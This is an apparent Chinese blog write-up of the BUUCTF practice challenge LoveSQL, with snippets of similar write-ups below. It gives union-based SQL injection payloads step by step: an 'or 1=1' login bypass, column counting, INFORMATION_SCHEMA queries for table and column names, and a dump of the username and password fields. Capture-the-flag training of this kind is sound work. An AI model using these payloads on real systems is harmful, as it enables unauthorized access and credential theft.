[极客大挑战 2019]LoveSQL

最新推荐文章于 2025-04-03 18:51:07 发布
原创 最新推荐文章于 2025-04-03 18:51:07 发布 · 135 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#CTF #网络安全 #web安全 #WriteUp #sql注入

文章描述了一次针对LoveSQL靶机的数据库注入攻击过程，通过联合查询发现两个回显点，进一步获取数据库名、表名及列名，最终揭示了l0ve1ysq1表中id,username,password字段的内容，从而获得Flag。

[极客大挑战 2019]LoveSQL

访问靶机，还是老样子的界面：
在这里插入图片描述

明确可以注入，尝试一下联合查询：' union select 1,2,3#
在这里插入图片描述

  • 有两个回显点

查看下本机数据库名：' union select 1,2,databse()#
在这里插入图片描述

查表：' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() #
在这里插入图片描述

查看下表l0ve1ysq1里面的列名：' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='l0ve1ysq1'#
在这里插入图片描述

最后就可以查看这三个字段里面的内容了：' UNION SELECT id,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM l0ve1ysq1#

  • Flag就出来了
buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解）
小宇的web博客
01-15 2028
buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解） 1.这里有账号和密码，这里先尝试一下万能密码（在账号那里注入） 1' or 1=1# 密码随便 这里继续进行注入，判断有几列 1' order by 3;# 这里试一试4 1' order by 4;# 这里通过union联合查询 1' union select 1,2,3;# 这里的2，3都是注入点 这里开始按部就班的注入吧 1' union select 1,2,database();# 1' union se
BUUCTF在线评测-练习场-WebCTF习题[极客大挑战 2019]LoveSQL1-flag获取、解析
m0_56970656的博客
06-16 1065
打开靶场，页面有点熟悉，上次是简单Sql，在下面链接：BUUCTF在线评测-练习场-WebCTF习题[极客大挑战 2019]EasySQL1-flag获取、解析_buuctf easysql 1-优快云博客根据提示，我估计是跟上次比较像，flag可能放在另一个地方了。那么老规矩，直接单引号测试法 可以看到单引号被url编码了，但是没什么关系，并没有做什么过滤观测报错，我们发现是密码部分报错，并且我们输入的123后面多了双引号，前面多个了引号。说明什么？password闭合是双引号，username是单
[极客大挑战 2019]LoveSQL Writeup(超级详细)
StevenOnesir的博客
11-27 3054
今天再讲一道sql的题，同样比较基础，但是相较于前面某道 1’ or 1=1#或者 1’ or ‘1’='1的题来讲要稍好一些。 首先我们玩一玩老套路，绕过登录进去看一看，发现回显： 这行数字，直观看上去像是16进制，转换一下得到： 直观看上去没有什么用 我们试一试常规的注入手段。 payload:union select 出现报错回显： 说明应该没啥过滤，老老实实爆数据库名-表名-字段就行了。 payload:1' union select * from a# 报错回显是： 所以这里相当于直接告诉
[极客大挑战2019]LoveSQL(刚！刚！刚！)
Rick66Ashley的博客
08-10 279
回到题目，要查geek的数据表，那要加上数据库为geek的条件，即：1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #中间的可以查看表名1' union select 1,2,group_concat(table_name) from information_schema.tables #1' or 1=1 # 密码随便输，enter，发现可以注入；
【极客大挑战2019】LoveSQL解题
Bird&Bird
10-25 2795
1、打开靶机：BUUCTF在线评测，选择web---->【极客大挑战2019】LoveSQL 打开被测试站点，是这个样子的，是上一题EasySQL的延续。 2、EasySQL那道题采用万能密码，我们也直接使用万能密码试一下，结果如下： 直接给出了密码。 使用正确的用户名和密码登录一下，结果还是 那使用MD5库碰撞一下，结果也没碰撞出来。 3、继续寻常注入吧。 爆破有多少列（字段数） username=admin&password=6ec1cab79005129..
buuctf web 极客大挑战2019 lovesql
最新发布
07-09
在 BUUCTF Web 极客大挑战 2019 的 *LoveSQL* 题目中，这是一道典型的 SQL 注入练习题。题目要求通过注入点获取 flag，并考验了对 SQL 注入的多个阶段的理解与实践能力。 ### 解题思路 首先访问靶机页面后，发现是...
【BUUCTF】[极客大挑战 2019]LoveSQL 详细题解总结笔记 Writeup
algae
08-13 4944
【BUUCTF】[极客大挑战 2019]LoveSQL一.题目内容1.考点二. 解题过程1.万能密码2.爆字段3. 一.题目内容 1.考点 二. 解题过程 1.万能密码 账号 admin' or 1=1 # 密码 1 admin 47cb230740bc6725fd194aec8e479fc4 Tips：输入框的#，直接使用hackbar地址栏，需将#进行URL编码，即替换为%23 2.爆字段 check.php?username=admin ' order by 1 %23&passwo
BUUCTF__[极客大挑战 2019]LoveSQL_题解
风过江南乱的博客
06-19 1510
前言 很好，考完了死亡高数和大物，虽然还没考完，不过艰难的已经过去了，感觉神清气爽，水一题。 u1s1，线上考试=在海里考试。 读题 嗯，还是熟悉的背景图，好几题都是这个师傅出的sql注入。 首先很容易试出为单引号字符型闭合,输入 1、1"、1’ , 在1’时报错 然后尝试注入，发现，好像没有过滤，连 union 联合注入都能使用，并且很容易得到数据库名称,得到数据库名称geek 但在此之前，先得到列数为3，不是3则提示报错 然后，基本操作得到表信息，有两个表geekuser和l0ve1ysq
[极客大挑战 2019]LoveSQL 1（SQL注入）
小谢的博客
06-12 5619
[极客大挑战 2019]LoveSQL 1（SQL注入）
【极客大挑战2019】love sql详解
kindyyy的博客
04-16 1783
这道题其实是最基本的sql注入类型，所以只要掌握最基础的注入知识很容易就可以得到flag 先打开题目，先用万能密码登陆一下 只是一个乱码啊，没什么用，就直接用sql注入了，先查询列数： 1' order by 3 # 有回显，那再尝试一下4？ ' order by 4 # 那就只有3列，查询库名吧，直接上 ...
BUUCTF Web [极客大挑战 2019]LoveSQL
wangyuxiang946的博客
10-27 1万+
「作者主页」：士别三日wyx   此文章已录入专栏《网络攻防》，持续更新热门靶场的通关教程 「未知攻，焉知收」，在一个个孤独的夜晚，你完成了几百个攻防实验，回过头来才发现，已经击败了百分之九十九的同期选手。 一、题目简介 进入题目连接是一个「登录」界面 登录「成功」会显示当前用户的账号和密码 登录「失败」则会则会提示错误的用户名和密码 二、思路分析         这一关是「SQL注入」漏洞，注入点.
web：[极客大挑战 2019]LoveSQL
sleepywin的博客
09-29 582
用union来查询测试注入点，查看回显点CTF-Web-[极客大挑战 2019]LoveSQL - 知乎LoveSQL-优快云博客。
[极客大挑战 2019]LoveSQL1 题目分析与详解
2302_79800344的博客
02-27 3261
一、题目简介。
[极客大挑战 2019]LoveSQL（最基础的sql注入，万能密码登录）
热门推荐
qq_45521281的博客
04-15 2万+
进去之后： 发现登录框，可能是万能密码登录，我们试一下： 在登录框中输入： 用户名：1' or 1=1# 密码：123（随便输） 点击登录 跳转到了check.php页面。并得到了用户名和密码： 尝试密码md5解密失败，还是回到注入的思路上，查询字段数： 在url中输入： /check.php?username=admin' order by 3%23&password=1 ...
[极客大挑战 2019]LoveSQL全网最详细WP
siyue_secret的博客
04-03 272
是为了让union前的查询错误，查不到结果，避免影响union后查询数据库名的显示。照理来说，我们需要逐个测试当前查询的表是哪个表，但是此处。看起来像flag的东西出来了，往右拖动页面可以看到真正的flag值。按照ctf的做题经验，应该先爆这个表。（6）爆username和password的值。（5）然后爆l0ve1ysq1表中的字段名。尝试使用union注入，一步一步来。此时可以看到页面正常显示，没有报错。由页面返回的信息可知，数据库名为。（4）然后爆geek数据库中的表。即按照第一列的值对结果排序，
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值